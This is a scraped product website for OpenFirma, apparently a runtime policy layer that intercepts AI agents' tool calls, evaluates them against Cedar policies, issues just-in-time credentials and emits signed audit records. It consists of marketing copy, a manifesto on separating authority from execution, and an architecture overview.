— 1970s
Operating Systems
user space
↔
kernel
When programs grew untrusted, the kernel was separated out. Applications stopped touching the machine directly.
V0.1 · THE AUTHORITY LAYER FOR AUTONOMOUS SOFTWARE
RUNTIME AUTHORITY FOR AI AGENTS EVERY CALL SHELL EXECUTION BROWSER AUTOMATION CLAUDE CODE OPENCLAW
Every call passes through a sidecar that decides whether it happens. Policy in, signed decision out. Open by default. Deterministic.
Quickstart → $firma run --profile claude-code claude
· OPENFIRMA AT RUNTIME — STRUCTURAL INTERCEPTION
▲ Authority
Policy lives in one place
The authority orchestrates the runtime. One policy file governs every agent, every call, every surface. Versioned. Source-available. Portable.
━ Sidecar
The interception layer
Every outbound action funnels through the sidecar. Sidecar evaluates against current policy + session state. Sub-millisecond. Deterministic.
▼ Tool
The agent never holds secrets
JIT credentials are issued by a federated broker on allow. The agent never sees raw tokens. Credential exfiltration is structurally impossible.
Quickstart
One-line command
The fastest way to put OpenFirma in the path of a real agent today. Wraps your Claude Code session under the runtime: no SDK, no code changes, no account.
This is a quickstart, not the product. The product is the runtime authority itself, the sidecar, the policy engine, the JIT credential broker, the signed audit. See the product page for the full architecture.
→ Quickstart: wraps Claude Code only. One command.
→ Product: the runtime authority. Any agent. Any tool. Detailed in /product.
→ Product: the runtime authority. Any agent. Any tool. Detailed in /product.
quickstart · ~ 30 secondsv0.1.0
$ firma run --profile claude-code claude→ authority up · policy.cedar (47 rules) loaded
→ sidecar :9090 · JIT broker ready
→ agent receives no raw credentials
▸ agent
allow
▸ agent
deny
▸ agent
deny
Manifesto · the authority layer for autonomous software
The authority layer for autonomous software.
Every era of computing made the same move: separating authority from execution. AI is next.
The agentic shift
For the first time, the system doesn't just execute instructions, it decides what to do next
Autonomous decisions
Software now decides what to do next
For the first time, code chooses its next move based on context, not instructions. These decisions are happening at runtime, in production, against real systems, with real consequences.
Self-governance fails
An agent cannot safely govern itself
When decision-making and execution collapse into the same runtime, traditional control boundaries disappear. The agent becomes its own authority. That model does not scale.
The missing layer
Nothing in the stack governs execution
Identity systems define access. Security systems inspect traffic. Observability systems record. None of them govern execution itself.
A pattern, four times
Every era separated authority from execution
— 1990s
Identity
users
↔
permissions
When systems outgrew local logins, permissions were lifted out of the user. Identity became a separate plane of authority.
— 2010s
Cloud
workloads
↔
orchestration
When workloads multiplied beyond hand-tending, orchestration was separated out. Workloads stopped deciding where they ran.
— 2020s
AI
agent
↔
authority
When software started deciding what to do next, the agent needed its authority lifted out. That is what we are building.
AI now requires a separate execution authority layer.
> openfirma █ is that layer.
- A framework
- An orchestration stack
- A gateway
The four architectural primitives:
Structural interception
By construction, Firma sits in the agent's outbound path. Every modality of action funnels through enforcement, with the kernel sandbox as the floor
Deterministic intent definition
Every tool call is classified into an enforceable action class. Cedar evaluates the same input to the same decision, every time, no model on the hot path
Per-call enforcement
Per-call enforcement evaluates before execution against current policy and accumulated session state. Catches intra-session abuse patterns invisible to session-level systems
Just-in-time credentials
A federated broker issues credentials per-call on ALLOW. Exfiltration is structurally impossible, even under full agent compromise
The future of AI will not be defined only by smarter models. It will be defined by whether autonomous systems can be trusted to operate in the real world
Product · OpenFirma · the authority layer for autonomous software
The enforcement at runtime.
OpenFirma sits inside the agent's process and decides, per call, whether a tool call
happens: using Cedar policies you own. Capability validation runs locally on the hot path;
Sidecar evaluates the constraints; credentials are injected only on ALLOW; the
every decision emits a signed ExecutionEvent.
OpenFirma flow
Operators own the policies. Existing systems stay unchanged.
Watch a tool call flow through the system. The Authority issues capability tokens continuously.
Tool calls enter the Sidecar, run through capability validation then constraint enforcement.
On ALLOW, credentials are injected and the call reaches the world. Every decision
lands in the audit emitter.
· OPENFIRMA · LIVE FLOW
live
OpenFirma
External
01capability token
Before the agent makes any call, the Authority evaluates the requested scope against your policies and issues a signed capability token. This token defines exactly what the agent is allowed to do in this session: which actions, which resources, and for how long. It happens once, before execution begins, and never on the critical path.
02call intercept
Every outbound call the agent makes is intercepted and verified against the capability token locally, with no network round-trip. If the token is invalid or revoked, the call is blocked immediately. This is Stage 1 enforcement.
03policy evaluation
The intercepted call is evaluated against your Cedar policies in Stage 2. The result is always deterministic: ALLOW, DENY, or HITL (human in the loop, when a decision requires explicit approval). On ALLOW, the call proceeds. On DENY, it is blocked and recorded.
04credential route
On an allowed call, the request is adapted, credentials are injected, and the call is routed to the target: an external API, a database, a tool, a service. Your existing systems require no changes.
05signed audit
Every decision (ALLOW, DENY, or ABORT) produces a signed ExecutionEvent written to your configured sink: a local file,
stdout, or a gRPC stream. The signature makes the record tamper-evident: you can verify exactly what the agent did, when, and under which policy.Inside the Sidecar
Two phases. One hot path.
The Sidecar separates capability validation from constraint enforcement on purpose. The first phase is cheap and local, fast enough to never block. The second phase is where Sidecar evaluates the call against context.
CAPABILITY VALIDATION
Verify, validate and revoke
The Sidecar verifies the capability token locally: signature, integrity, and revocation status. No round-trip to the Authority, the Authority is never on the hot path.
The point of Stage 1: drop bad tokens cheaply, with low latency, fully local.
Inputs: capability token · signing keys (cached) · revocation list (streamed)
Latency: microseconds. Local memory. No I/O.
Failure mode: reject and emit audit. No fallback to constraint phase.
Latency: microseconds. Local memory. No I/O.
Failure mode: reject and emit audit. No fallback to constraint phase.
CONSTRAINT ENFORCEMENT
Policy evaluation (budget/scope/context)
The policy engine evaluates the call against the active policy bundle, the current session budget, the requested scope, and the Context layer. The result is a deterministic ALLOW, DENY, or ABORT decision.
On ALLOW, credentials are injected. On DENY or ABORT, the call is dropped
and the audit emitter records the reason. Same input, same decision, every time.
Inputs: Cedar policy · session state · context layer
Latency: sub-millisecond. Cedar is formally evaluated.
Outputs: ALLOW + cred injection · DENY or ABORT + signed audit row.
Latency: sub-millisecond. Cedar is formally evaluated.
Outputs: ALLOW + cred injection · DENY or ABORT + signed audit row.
How ownership splits
What ships. What stays.
Four ownership categories. OpenFirma ships enforcement. Operators keep the policies. The integration layer is standard. The credential flow is co-owned by construction.
OpenFirma ships
OpenFirma ships the enforcement
- Mini AuthorityLocal, in-process. For dev. Swap for the OpenFirma Authority in production.
- OpenFirma SidecarThe in-process runtime. Intent Normalizer + Capability validation + Constraint enforcement.
- ConnectorAdapts the call, routes it post-allow, injects credentials at the last moment.
- Audit emitterProduces a signed ExecutionEvent for every ALLOW, DENY, or ABORT.
file·stdout·gRPC.
Operators own
You keep the policies, the agent, the world
- Cedar policies
.cedarfiles, operator-authored. OpenFirma ships starter policies you can fork. - AgentYour LLM agent and its tool calls. No SDK changes required.
- Execution WorldYour external APIs, tools, services, databases. Unchanged by construction.
OpenFirma integrates
We use the standards you already use
- Access authenticationOpenFirma plugs into your existing identity and authentication stack: enterprise IdP, workload identity, IAM, NHI credentials.
Standard interfaces, no bespoke integration required
OpenFirma owns the logic
Credentials: our design, your secrets stack
- CredentialsInjected on
ALLOWonly. The agent never holds them at rest. OpenFirma defines the JIT flow; you wire it to Vault / STS / GCP / in-house.
Structural credential isolation means exfiltration is impossible, even under full agent compromise.